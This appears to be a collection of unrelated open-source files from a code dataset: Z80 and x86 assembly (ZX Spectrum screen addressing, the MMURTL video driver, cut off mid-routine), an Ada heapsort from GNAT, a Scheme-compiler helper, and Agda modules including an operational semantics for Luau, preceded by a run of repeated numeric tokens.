39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
libsrc/spectrum/display/zx_py2saddr.asm
grancier/z180
0
12457
<filename>libsrc/spectrum/display/zx_py2saddr.asm ; uchar __FASTCALL__ *zx_py2saddr(uchar ycoord) ; aralbrec 06.2007 SECTION code_clib PUBLIC zx_py2saddr PUBLIC _zx_py2saddr .zx_py2saddr ._zx_py2saddr ld a,l and $07 or $40 ld h,a ld a,l rra rra rra and $18 or h ld h,a ld a,l rla rla and $e0 ld l,a ret
support/MinGW/lib/gcc/mingw32/9.2.0/adainclude/g-hesorg.adb
orb-zhuchen/Orb
0
26476
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- G N A T . H E A P _ S O R T _ G -- -- -- -- B o d y -- -- -- -- Copyright (C) 1995-2019, AdaCore -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ package body GNAT.Heap_Sort_G is ---------- -- Sort -- ---------- -- We are using the classical heapsort algorithm (i.e. Floyd's Treesort3) -- as described by Knuth ("The Art of Programming", Volume III, first -- edition, section 5.2.3, p. 145-147) with the modification that is -- mentioned in exercise 18. For more details on this algorithm, see -- <NAME> PhD thesis "The use of Computers in the X-ray -- Phase Problem". University of Chicago, 1968, which was the first -- publication of the modification, which reduces the number of compares -- from 2NlogN to NlogN. procedure Sort (N : Natural) is Max : Natural := N; -- Current Max index in tree being sifted procedure Sift (S : Positive); -- This procedure sifts up node S, i.e. converts the subtree rooted -- at node S into a heap, given the precondition that any sons of -- S are already heaps. On entry, the contents of node S is found -- in the temporary (index 0), the actual contents of node S on -- entry are irrelevant. This is just a minor optimization to avoid -- what would otherwise be two junk moves in phase two of the sort. ---------- -- Sift -- ---------- procedure Sift (S : Positive) is C : Positive := S; Son : Positive; Father : Positive; -- Note: by making the above all Positive, we ensure that a test -- against zero for the temporary location can be resolved on the -- basis of types when the routines are inlined. begin -- This is where the optimization is done, normally we would do a -- comparison at each stage between the current node and the larger -- of the two sons, and continue the sift only if the current node -- was less than this maximum. In this modified optimized version, -- we assume that the current node will be less than the larger -- son, and unconditionally sift up. Then when we get to the bottom -- of the tree, we check parents to make sure that we did not make -- a mistake. This roughly cuts the number of comparisons in half, -- since it is almost always the case that our assumption is correct. -- Loop to pull up larger sons loop Son := 2 * C; if Son < Max then if Lt (Son, Son + 1) then Son := Son + 1; end if; elsif Son > Max then exit; end if; Move (Son, C); C := Son; end loop; -- Loop to check fathers while C /= S loop Father := C / 2; if Lt (Father, 0) then Move (Father, C); C := Father; else exit; end if; end loop; -- Last step is to pop the sifted node into place Move (0, C); end Sift; -- Start of processing for Sort begin -- Phase one of heapsort is to build the heap. This is done by -- sifting nodes N/2 .. 1 in sequence. for J in reverse 1 .. N / 2 loop Move (J, 0); Sift (J); end loop; -- In phase 2, the largest node is moved to end, reducing the size -- of the tree by one, and the displaced node is sifted down from -- the top, so that the largest node is again at the top. while Max > 1 loop Move (Max, 0); Move (1, Max); Max := Max - 1; Sift (1); end loop; end Sort; end GNAT.Heap_Sort_G;
src/data/lib/prim/Agda/Builtin/TrustMe.agda
hborum/agda
2
13011
{-# OPTIONS --no-sized-types --no-guardedness #-} module Agda.Builtin.TrustMe where open import Agda.Builtin.Equality open import Agda.Builtin.Equality.Erase private postulate unsafePrimTrustMe : ∀ {a} {A : Set a} {x y : A} → x ≡ y primTrustMe : ∀ {a} {A : Set a} {x y : A} → x ≡ y primTrustMe = primEraseEquality unsafePrimTrustMe {-# DISPLAY primEraseEquality unsafePrimTrustMe = primTrustMe #-}
prototyping/Luau/OpSem.agda
TheGreatSageEqualToHeaven/luau
1
2858
<filename>prototyping/Luau/OpSem.agda {-# OPTIONS --rewriting #-} module Luau.OpSem where open import Agda.Builtin.Equality using (_≡_) open import Agda.Builtin.Float using (Float; primFloatPlus; primFloatMinus; primFloatTimes; primFloatDiv; primFloatEquality; primFloatLess; primFloatInequality) open import Agda.Builtin.Bool using (Bool; true; false) open import Agda.Builtin.String using (primStringEquality; primStringAppend) open import Utility.Bool using (not; _or_; _and_) open import Agda.Builtin.Nat using () renaming (_==_ to _==ᴬ_) open import FFI.Data.Maybe using (Maybe; just; nothing) open import Luau.Heap using (Heap; _≡_⊕_↦_; _[_]; function_is_end) open import Luau.Substitution using (_[_/_]ᴮ) open import Luau.Syntax using (Value; Expr; Stat; Block; nil; addr; val; var; function_is_end; _$_; block_is_end; local_←_; _∙_; done; return; name; fun; arg; binexp; BinaryOperator; +; -; *; /; <; >; ==; ~=; <=; >=; ··; number; bool; string) open import Luau.RuntimeType using (RuntimeType; valueType) open import Properties.Product using (_×_; _,_) evalEqOp : Value → Value → Bool evalEqOp Value.nil Value.nil = true evalEqOp (addr x) (addr y) = (x ==ᴬ y) evalEqOp (number x) (number y) = primFloatEquality x y evalEqOp (bool true) (bool y) = y evalEqOp (bool false) (bool y) = not y evalEqOp _ _ = false evalNeqOp : Value → Value → Bool evalNeqOp (number x) (number y) = primFloatInequality x y evalNeqOp x y = not (evalEqOp x y) data _⟦_⟧_⟶_ : Value → BinaryOperator → Value → Value → Set where + : ∀ m n → (number m) ⟦ + ⟧ (number n) ⟶ number (primFloatPlus m n) - : ∀ m n → (number m) ⟦ - ⟧ (number n) ⟶ number (primFloatMinus m n) / : ∀ m n → (number m) ⟦ / ⟧ (number n) ⟶ number (primFloatTimes m n) * : ∀ m n → (number m) ⟦ * ⟧ (number n) ⟶ number (primFloatDiv m n) < : ∀ m n → (number m) ⟦ < ⟧ (number n) ⟶ bool (primFloatLess m n) > : ∀ m n → (number m) ⟦ > ⟧ (number n) ⟶ bool (primFloatLess n m) <= : ∀ m n → (number m) ⟦ <= ⟧ (number n) ⟶ bool ((primFloatLess m n) or (primFloatEquality m n)) >= : ∀ m n → (number m) ⟦ >= ⟧ (number n) ⟶ bool ((primFloatLess n m) or (primFloatEquality m n)) == : ∀ v w → v ⟦ == ⟧ w ⟶ bool (evalEqOp v w) ~= : ∀ v w → v ⟦ ~= ⟧ w ⟶ bool (evalNeqOp v w) ·· : ∀ x y → (string x) ⟦ ·· ⟧ (string y) ⟶ string (primStringAppend x y) data _⊢_⟶ᴮ_⊣_ {a} : Heap a → Block a → Block a → Heap a → Set data _⊢_⟶ᴱ_⊣_ {a} : Heap a → Expr a → Expr a → Heap a → Set data _⊢_⟶ᴱ_⊣_ where function : ∀ a {H H′ F B} → H′ ≡ H ⊕ a ↦ (function F is B end) → ------------------------------------------- H ⊢ (function F is B end) ⟶ᴱ val(addr a) ⊣ H′ app₁ : ∀ {H H′ M M′ N} → H ⊢ M ⟶ᴱ M′ ⊣ H′ → ----------------------------- H ⊢ (M $ N) ⟶ᴱ (M′ $ N) ⊣ H′ app₂ : ∀ v {H H′ N N′} → H ⊢ N ⟶ᴱ N′ ⊣ H′ → ----------------------------- H ⊢ (val v $ N) ⟶ᴱ (val v $ N′) ⊣ H′ beta : ∀ O v {H a F B} → (O ≡ function F is B end) → H [ a ] ≡ just(O) → ----------------------------------------------------------------------------- H ⊢ (val (addr a) $ val v) ⟶ᴱ (block (fun F) is (B [ v / name(arg F) ]ᴮ) end) ⊣ H block : ∀ {H H′ B B′ b} → H ⊢ B ⟶ᴮ B′ ⊣ H′ → ---------------------------------------------------- H ⊢ (block b is B end) ⟶ᴱ (block b is B′ end) ⊣ H′ return : ∀ v {H B b} → -------------------------------------------------------- H ⊢ (block b is return (val v) ∙ B end) ⟶ᴱ val v ⊣ H done : ∀ {H b} → -------------------------------------------- H ⊢ (block b is done end) ⟶ᴱ (val nil) ⊣ H binOp₀ : ∀ {H op v₁ v₂ w} → v₁ ⟦ op ⟧ v₂ ⟶ w → -------------------------------------------------- H ⊢ (binexp (val v₁) op (val v₂)) ⟶ᴱ (val w) ⊣ H binOp₁ : ∀ {H H′ x x′ op y} → H ⊢ x ⟶ᴱ x′ ⊣ H′ → --------------------------------------------- H ⊢ (binexp x op y) ⟶ᴱ (binexp x′ op y) ⊣ H′ binOp₂ : ∀ {H H′ x op y y′} → H ⊢ y ⟶ᴱ y′ ⊣ H′ → --------------------------------------------- H ⊢ (binexp x op y) ⟶ᴱ (binexp x op y′) ⊣ H′ data _⊢_⟶ᴮ_⊣_ where local : ∀ {H H′ x M M′ B} → H ⊢ M ⟶ᴱ M′ ⊣ H′ → ------------------------------------------------- H ⊢ (local x ← M ∙ B) ⟶ᴮ (local x ← M′ ∙ B) ⊣ H′ subst : ∀ v {H x B} → ------------------------------------------------------ H ⊢ (local x ← val v ∙ B) ⟶ᴮ (B [ v / name x ]ᴮ) ⊣ H function : ∀ a {H H′ F B C} → H′ ≡ H ⊕ a ↦ (function F is C end) → -------------------------------------------------------------- H ⊢ (function F is C end ∙ B) ⟶ᴮ (B [ addr a / name(fun F) ]ᴮ) ⊣ H′ return : ∀ {H H′ M M′ B} → H ⊢ M ⟶ᴱ M′ ⊣ H′ → -------------------------------------------- H ⊢ (return M ∙ B) ⟶ᴮ (return M′ ∙ B) ⊣ H′ data _⊢_⟶*_⊣_ {a} : Heap a → Block a → Block a → Heap a → Set where refl : ∀ {H B} → ---------------- H ⊢ B ⟶* B ⊣ H step : ∀ {H H′ H″ B B′ B″} → H ⊢ B ⟶ᴮ B′ ⊣ H′ → H′ ⊢ B′ ⟶* B″ ⊣ H″ → ------------------ H ⊢ B ⟶* B″ ⊣ H″
arch/lib/scheme/is_sob_closure.asm
Mosseridan/Compiler-Principles
0
81636
/* scheme/is_sob_closure.asm * Take pointers to a Scheme object, and places in R0 either 0 or 1 * (long, not Scheme integer objects or Scheme boolean objets), * depending on whether the argument is a closure. * * Programmer: <NAME>, 2012 */ IS_SOB_CLOSURE: PUSH(FP); MOV(FP, SP); MOV(R0, FPARG(0)); CMP(IND(R0), T_CLOSURE); JUMP_EQ(L_IS_SOB_CLOSURE_TRUE); MOV(R0, IMM(0)); JUMP(L_IS_SOB_CLOSURE_EXIT); L_IS_SOB_CLOSURE_TRUE: MOV(R0, IMM(1)); L_IS_SOB_CLOSURE_EXIT: POP(FP); RETURN;
Categories/Comonad/Cofree.agda
copumpkin/categories
98
17086
module Categories.Comonad.Cofree where
OSSOURCE/video.asm
mooseman/smallOS
3
169476
<reponame>mooseman/smallOS ; MMURTL Operating System Source Code ; Written by <NAME> ; This code is released to the public domain. ; "Share and enjoy....." ;) ;This module contains ALL Video code & Data ; (along with EdLine for lack of a better place) ; ;This module supports MMURTL's Virtual Text Video. ;All video calls are based on the video information in the job's ;Job Control Block. ; ;Virtual video buffers allow a job to output data even when it is ;not assigned to the real video display buffer. ; ;The call SetVidOwner is the key. It swaps virtual buffers for the real one ;and changes the current pointer in that job's JCB. It also updates ;the cursor in the correct place on entry. ; ; The following calls are implemented here: ; ;------------------------------ ;GetVidOwner(pdJobNumRet) ; Desc: This returns the Job Number that currently has active video ; screen. ;------------------------------ ;SetVidOwner(ddJobNum) ; Desc: This selects the screen that you see. This call is used ; by the monitor in conjunction with the SetKbdOwner call to change ; who gets the keystrokes and video (should be the same app). ; The internal debugger is the only code that will use this call ; and not move the keyboard also. It has it's own keyboard code ; (else how could it debug the real keyboard code??) ; Params: ; ddJobNum is the new Job to get the active screen ; (the one to be displayed) ;------------------------------ ;SetNormVid(dAttr) ; Desc: This selects the normal background attribute and fill char ; used by ClrScr and ScrollVid on the screen. ; Params: ; dCharAttr is the Character and aAttr values used in ; standard video operation on the current screen ; ;------------------------------ ;GetNormVid(pVidRet) ; ; Desc: This returns the value the normal screen attribute ; used by ClrScr and ScrollVid on the screen. ; ; Params: ; pVidRet points to the character where you want the NormVid ; attribute returned. ; ;------------------------------ ;ClrScr (); ; ; Desc: ; This clears the screen for the executing job. It may or may not ; be the one you are viewing... ; ;------------------------------ ;TTYOut (pTextOut, ddTextOut, ddAttrib) ; ; Desc: This places characters on the screen in a TTY fashion at the ; X & Y coordinates that are in effect for that screen. ; The following characters in the stream are interpreted as follows: ; Hex Action ; 0A Line Feed ; The cursor (next active character placement) will be on the ; following line at column 0. If this line is below the bottom ; of the screen, the entire screen will be scrolled up on line, ; the bottom line will be blanked, and the cursor will be placed ; on the last line in the first column. ; 0D Carriage Return ; The Cursor will be moved to column zero on the current line. ; 08 BackSpace - The cursor will be moved one column to the left. ; If already at column 0, Backspace will have no effect. ; The backspace is non-destructive (no chars are changed) ; ; pTextOut is a NEAR Ptr to the text. ; ddTextOut is the number of chars of text. ; ddAttrib is the attribute/Color you want. ; ;------------------------------ ;PutVidChars(ddCol,ddLine,pChars,sChars,ddAttrib) ; ; Desc: This places characters on the screen without affecting ; the current TTY coordinates or the TTY data. It is independent ; of the current video "Stream." ; ; Params: ; ddCol is the column to start on (0-79) ; ddLine is the line (0-24) ; pChars is a pointer the text to be displayed ; sChars is the number of chars ; ddAtrib is the color/attribute to use during display ; which applies to all of the characters on this ; call to PutVidChars. ;------------------------------ ;GetVidChar(ddCol,ddLine,pCharRet,pAttrRet) ; ; Desc: This returns the current character and attribute ; from the screen coordinates you specify. ; ; Params: ; ddCol is the column to start on (0-79) ; ddLine is the line (0-24) ; pCharRet is a pointer where you want the character returned ; pAttrRet is a pointer where you want the attribute returned ;------------------------------ ;PutVidAttrs(ddCol,ddLine,sChars,dAttr) ; ; Desc: This sets screen colors (attrs) for the without affecting ; the current TTY coordinates or the character data. It is independent ; of the current video "Stream." ; ; Params: ; ddCol is the column to start on (0-79) ; ddLine is the line (0-24) ; sChars is the number of char spaces to place dAttr ; dAttr is the color/attribute to fill the character spaces with ; ;------------------------------ ;ScrollVid(ddULCol,ddULline,nddCols,nddLines, ddfUp) ; ; Desc: This scrolls the described square area on the screen either ; UP or DOWN one line. If ddfUp is NON-ZERO the scroll will be UP. ; The line left blank is filled with NormAttr from JCB. ; Parms: ; ddULCol is the UPERR LEFT column to start on (0-79) ; ddULLine is the UPPER LEFT line (0-24) ; nddCols is the number of columns to be scrolled. ; nddLines is the count of lines to be scrolled. ; ddfUp is NON-ZERO to cause the scroll to be up (vise down). ; ; If you want to scroll the entire screen UP one line, the ; params would be ScrollVid(VidNum, 0,0,80,25,1). ; In this case the top line is lost (not really scrolled), ; and the bottom line would be blanked. Infact, if you specified ; (Vidnum, 0,1,80,24,1) you would get the same results. ; ;------------------------------ ;SetXY(NewX,NewY) ; Desc: Position VGA cursor (Text mode) to the X & Y position. ; ; Params: ; NewX is the new horizontal cursor postion ; NewY is the new vertical cursor position ; ;------------------------------ ;GetXY(pXRet,pYRet) ; Desc: Returns the current X & Y position for your job. ; ; Params: ; pXRet is a ptr where you want the current horizontal cursor postion ; pYRet is a ptr where you want the current vertical cursor position ; .DATA .INCLUDE MOSEDF.INC .INCLUDE JOB.INC ;This is the data for the virtual character video service. ;The video code is fully reentrant because each job has it's own ;video screen. Only one of these screens will be the active video ;display. ; ;Video Equates and Types ; CRTCPort1 EQU 03D4h ;Index port for CRTC CRTCPort2 EQU 03D5h ;Data port for CRTC CRTCAddHi EQU 0Ch ;Register for lo byte of Video address CRTCAddLo EQU 0Dh ;Register for lo byte of Video address CRTCCurHi EQU 0Eh ;Register for lo byte of Cursor address CRTCCurLo EQU 0Fh ;Register for lo byte of Cursor address CRTC0C DB 0 ;CRT Reg 0C HiByte address value CRTC0D DB 0 ;CRT Reg 0D LoByte address value PUBLIC ddVidOwner DD 1 ;JCB that currently owns video ;Default to monitor (Job 1) ;End of Data & Equates ; ;============================================================================ ; BEGIN INTERNAL CODE FOR VIDEO ;============================================================================ ; .CODE ; EXTRN GetpJCB NEAR EXTRN GetpCrntJCB NEAR EXTRN ReadDbgKbd NEAR EXTRN GetCrntJobNum NEAR ;InitVideo makes Video Screen 0 the default screen. That ;makes the VGATextBase address 0B8000h ; PUBLIC InitVideo: MOV AL, CRTCAddHi ;Index of hi byte MOV DX, CRTCPort1 ;Index Port OUT DX, AL MOV AL, CRTC0C ;hi byte value to send MOV DX, CRTCPort2 ;Data Port OUT DX, AL ; MOV AL, CRTCAddLo ;Index of lo byte MOV DX, CRTCPort1 ;Index Port OUT DX, AL MOV AL, CRTC0D ;lo byte value to send MOV DX, CRTCPort2 ;Data Port OUT DX, AL RETN ; ;============================================================================ ; BEGIN PUBLIC CODE FOR VIDEO ;============================================================================ ; ;============================================================================ ; SetVidOwner - Make a new a screen actively displayed. ; EAX Returns NON-Zero if JOB number is invalid ddJobVidCV EQU DWORD PTR [EBP+12] PUBLIC __SetVidOwner: PUSH EBP ; MOV EBP,ESP ; MOV EAX, ddJobVidCV ; CMP EAX, ddVidOwner ;Already own it? JNE ChgVid01 ;No XOR EAX, EAX ;Yes JMP ChgVidDone ChgVid01: CALL GetpJCB ;Leaves ptr to new vid JCB in EAX CMP DWORD PTR [EAX+pVidMem] ,0 ;Got valid video memory??? JNE ChgVid02 ;Yes MOV EAX, ErcVidNum ;NO! Give em an error! JMP ChgVidDone ChgVid02: ;Save data on screen to CURRENT job's pVirtVid MOV EAX, ddVidOwner CALL GetpJCB PUSH VGATextBase ;Source MOV EBX, [EAX+pVirtVid] ;Destination PUSH EBX PUSH 4000 ;Size of video CALL FWORD PTR _CopyData ;Do it! ;Make pVidMem same as pVirtVid for CURRENT OWNER MOV EAX, ddVidOwner CALL GetpJCB ;Leaves ptr to new vid JCB in EAX MOV EBX, [EAX+pVirtVid] MOV [EAX+pVidMem], EBX ;Update current video owner to NEW owner MOV EAX, ddJobVidCV ; MOV ddVidOwner, EAX ;Copy in Data from new pVirtVid MOV EAX, ddVidOwner CALL GetpJCB MOV EBX, [EAX+pVirtVid] ;Source PUSH EBX PUSH VGATextBase ;Destination PUSH 4000 ;Size of video CALL FWORD PTR _CopyData ;Do it! ;Make new pVidMem real video screen for new owner MOV EAX, ddVidOwner CALL GetpJCB MOV EBX, VGATextBase MOV [EAX+pVidMem], EBX ;Set Cursor position MOV EAX, ddVidOwner CALL GetpJCB MOV ECX, EAX MOV EBX, [ECX+CrntX] ;Get current X for new screen MOV EAX, [EBX+CrntY] ;Current Y CALL HardXY ;Set it up XOR EAX, EAX ;No Error ChgVidDone: MOV ESP,EBP ; POP EBP ; RETF 4 ;============================================================================ ; SetNormVid - Sets the normal video attribute (color) used in ; ClrScr, EditLine, and ScrollVid. ; EAX Returns Zero (No Error) ddNormVid EQU DWORD PTR [EBP+12] PUBLIC __SetNormVid: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;pJCB -> EAX MOV EBX, ddNormVid ; MOV [EAX+NormAttr], EBX ; XOR EAX, EAX POP EBP ; RETF 4 ;============================================================================ ; GetNormVid - Returns the normal video attribute (color) used in ; ClrScr, EditLine, and ScrollVid. ; EAX Returns Zero (No Error) pdNormVidRet EQU DWORD PTR [EBP+12] PUBLIC __GetNormVid: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;pJCB -> EAX MOV EBX, [EAX+NormAttr] ; MOV ESI, pdNormVidRet ; MOV [ESI], BL ; XOR EAX, EAX POP EBP ; RETF 4 ;============================================================================ ; GetVidOwner - Returns the Job number of current active video ; number to the caller. ;============================================================================= pVidNumRet EQU DWORD PTR [EBP+12] PUBLIC __GetVidOwner: PUSH EBP ; MOV EBP,ESP ; MOV ESI, pVidNumRet ; MOV EAX, ddVidOwner ; MOV [ESI], EAX ; XOR EAX, EAX ; no error obviously MOV ESP,EBP ; POP EBP ; RETF 4 ;============================================================================= ; Clear caller's video screen (Use Space and Attr from JCB NormAttr) ;============================================================================= ; PUBLIC __ClrScr: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EDI,[EBX+pVidMem] ;EDI points to his video memory MOV EAX, [EBX+NormAttr] ;Attr SHL EAX, 8 ; MOV AL, 20h ; MOV DX, AX SHL EAX, 16 MOV AX, DX ;Fill Char & Attr MOV ECX,0400h CLD REP STOSD PUSH 0 PUSH 0 CALL FWORD PTR _SetXY ;Erc in EAX on Return MOV ESP,EBP ; POP EBP ; RETF ;============================================================================= ; TTYOut: ;============================================================================= pTextOut EQU DWORD PTR [EBP+20] sTextOut EQU DWORD PTR [EBP+16] dAttrText EQU DWORD PTR [EBP+12] DataByte EQU BYTE PTR [ECX] PUBLIC __TTYOut: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EAX, sTextOut ;make sure count isn't null OR EAX, EAX JZ TTYDone TTY00: MOV EAX,[EBX+CrntX] ; EAX has CrntX (col) MOV EDX,[EBX+CrntY] ; EDX has CrntY (line) MOV ECX,pTextOut CMP DataByte,0Ah ; LF? JNE TTY02 INC EDX CMP EDX,[EBX+nLines] ; Equal to or past the bottom? JB TTY06 ; No JMP TTYScr ; Yes, goto scroll TTY02: CMP DataByte,0Dh ; CR? JNE TTY03 MOV EAX,0 JMP TTY06 TTY03: CMP DataByte,08h ; BackSpace? JNE TTY04 CMP EAX,0 JE TTY04 DEC EAX JMP TTY06 TTY04: PUSH EBX ;Save pointer to VCB PUSH EAX ;X (Param 1) PUSH EDX ;Y (Param 2) PUSH ECX ;pointer to text char (Param3) PUSH 1 ;Param 4 (nchars) MOV ECX,dAttrText ; PUSH ECX ;Param 5 CALL FWORD PTR _PutVidChars ; POP EBX ;restore ptr to VCB CMP EAX, 0 JNE TTYDone MOV EAX, [EBX+CrntX] MOV EDX, [EBX+CrntY] INC EAX ;Next column CMP EAX,[EBX+nCols] JNE TTY06 ;Make cursor follow MOV EAX,0 INC EDX CMP EDX,[EBX+nLines] ; past the bottom? JNE TTY06 ; No - goto 06 else fall thru TTYScr: DEC EDX ; back up one line PUSH EAX ;Save registers (scroll eats em) PUSH EBX PUSH ECX PUSH EDX PUSH 0 PUSH 0 PUSH 80 PUSH 25 PUSH 1 ;fUP (non zero) CALL FWORD PTR _ScrollVid ;Ignore error POP EDX ;restore registers POP ECX POP EBX POP EAX ;Fall thru to TTY06: PUSH EBX ;save ptr to pJCB PUSH EAX PUSH EDX CALL FWORD PTR _SetXY POP EBX ;Restore ptr to VCB CMP EAX, 0 JNE TTYDone DEC sTextOut JZ TTYDone INC pTextOut JMP TTY00 ; Go back for next char TTYDone: MOV ESP,EBP ; POP EBP ; RETF 12 ;============================================================================= ; PutVidAttrs: ; Desc: This sets screen colors (attrs) for the without affecting ; the current TTY coordinates or the character data. It is independent ; of the current video "Stream." ; ; Params: ; ddCol is the column to start on (0-79) ; ddLine is the line (0-24) ; sChars is the number of char spaces to place dAttr ; dAttr is the color/attribute to fill the character spaces with ; ; Start Position in screen memory is (Line * 80 + (Column*2)) ; pass Char, then Color, pass char, then color etc... DO NOT EXCEED 2000! ; Needs to be fixed to tell if ECX + sDDChars will go off screen... ; ;============================================================================= oADDX EQU DWORD PTR [EBP+24] ;Param 1 COLUMN oADDY EQU DWORD PTR [EBP+20] ;Param 2 LINE sADDChars EQU DWORD PTR [EBP+16] ;Param 3 sChars sADDColor EQU DWORD PTR [EBP+12] ;Param 4 Attr PUBLIC __PutVidAttrs: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EDI, [EBX+pVidMem] ;point to this VCBs video memory MOV EBX,oADDx ;x Position SHL EBX,1 ;Times 2 MOV EAX,oADDy ;y Position MOV ECX,0A0h ;Times 160 (char/attrs per line) MUL ECX ;Times nColumns ADD EAX,EBX CMP EAX,0F9Eh ;Last legal posn on screen JBE PutAttrs00 MOV EAX, ErcVidParam JMP PcADone PutAttrs00: MOV ECX,sADDChars OR ECX, ECX JZ PcADone ADD EDI,EAX MOV EAX,sADDColor CLD pcAMore: INC EDI ;Pass the char value STOSB ;Move Color in LOOP pcAMore XOR EAX, EAX ;No Error! pcADone: MOV ESP,EBP ; POP EBP ; RETF 16 ;============================================================================= ; PutVidChars: ; This Places characters on the VGA Character Screen in the XY Coords ; Params ; 1) DD X (Column 0-79) ; 2) DD Y (Line 0-24) ; 3) DD Near Ptr (relative to DS) of string ; 4) DD Size of String ; 5) DD (of which the low order byte is the Color) ; ; Start Position in screen memory is (Line * 80 + (Column*2)) ; Put Char, then Color, then char, then color etc... DO NOT EXCEED 2000! ; Needs to be fixed to tell if ECX + sDDChars will go off screen... ; ;============================================================================= oDDX EQU DWORD PTR [EBP+28] ;Param 1 COLUMN oDDY EQU DWORD PTR [EBP+24] ;Param 2 LINE pDDChars EQU DWORD PTR [EBP+20] ;Param 3 pChars sDDChars EQU DWORD PTR [EBP+16] ;Param 4 sChars sDDColor EQU DWORD PTR [EBP+12] ;Param 5 Attr PUBLIC __PutVidChars: PUSH EBP ; MOV EBP,ESP ; CLI CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EDI, [EBX+pVidMem] ;point to this VCBs video memory STI MOV EBX,oDDx SHL EBX,1 ;Times 2 MOV EAX,oDDy MOV ECX,0A0h ;Times 160 MUL ECX ;Times nColumns ADD EAX,EBX CMP EAX,0F9Eh ;Last legal posn on screen JBE PutChars00 MOV EAX, ErcVidParam JMP PcDone PutChars00: MOV ECX,sDDChars OR ECX, ECX JZ PcDone MOV ESI,pDDChars ADD EDI,EAX MOV EAX,sDDColor CLD pcMore: MOVSB ;Move Char in STOSB ;Move Color in LOOP pcMore XOR EAX, EAX ;No Error! pcDone: MOV ESP,EBP ; POP EBP ; RETF 20 ;============================================================================= ;GetVidChar(ddCol,ddLine,pCharRet,pAttrRet) ; ; Desc: This returns the current character and attribute ; from the screen coordinates you specify. ; ; Params: ; ddCol is the column to start on (0-79) ; ddLine is the line (0-24) ; pCharRet is a pointer where you want the character returned ; pAttrRet is a pointer where you want the attribute returned ; oGDDX EQU DWORD PTR [EBP+24] ;Param 1 COLUMN oGDDY EQU DWORD PTR [EBP+20] ;Param 2 LINE pGDDCRet EQU DWORD PTR [EBP+16] ;Param 3 pCharRet pGDDARet EQU DWORD PTR [EBP+12] ;Param 4 pAttrRet PUBLIC __GetVidChar: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EDI, [EBX+pVidMem] ;point to this VCBs video memory MOV EBX,oGDDx SHL EBX,1 ;Times 2 MOV EAX,oGDDy MOV ECX,0A0h ;Times 160 MUL ECX ;Times nColumns ADD EAX,EBX CMP EAX,0F9Eh ;Last legal posn on screen JBE GetChar00 MOV EAX, ErcVidParam JMP PcGDone GetChar00: ADD EDI,EAX ;EDI now points to char MOV ESI,pGDDCRet MOV AL, [EDI] MOV [ESI], AL ;Give them the char INC EDI ;Move to Attr MOV ESI,pGDDARet MOV AL, [EDI] MOV [ESI], AL ;Give them the Attr XOR EAX, EAX ;No Error! pcGDone: MOV ESP,EBP ; POP EBP ; RETF 20 ;============================================================================= ; ScrollVid: ; This scrolls the defined area up or down one line. ; Params ; 1) Upper Left column X (Column 0-79) ; 2) Upper Left line Y (Line 0-24) ; 3) nCols to scroll ; 4) nLines to scroll ; 5) TRUE for up (any NON zero QUAD) ; ; We check all params for validity. ErcVidParam is returned if one is ; invalid. ;============================================================================= oULX EQU DWORD PTR [EBP+28] ;Param 1 COLUMN oULY EQU DWORD PTR [EBP+24] ;Param 2 LINE nddCols EQU DWORD PTR [EBP+20] ;Param 3 Number of columns nddLines EQU DWORD PTR [EBP+16] ;Param 4 Number of Lines ddfUP EQU DWORD PTR [EBP+12] ;Param 5 Attr PUBLIC __ScrollVid: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX ;Save pJCB & use in EBX MOV EAX, oULX CMP EAX, 79 JA svErcExit ADD EAX, nddCols CMP EAX, 80 JA svErcExit MOV EAX, oULY CMP EAX, 24 JA svErcExit ADD EAX, nddLines CMP EAX, 25 JA svErcExit CMP ddfUP, 0 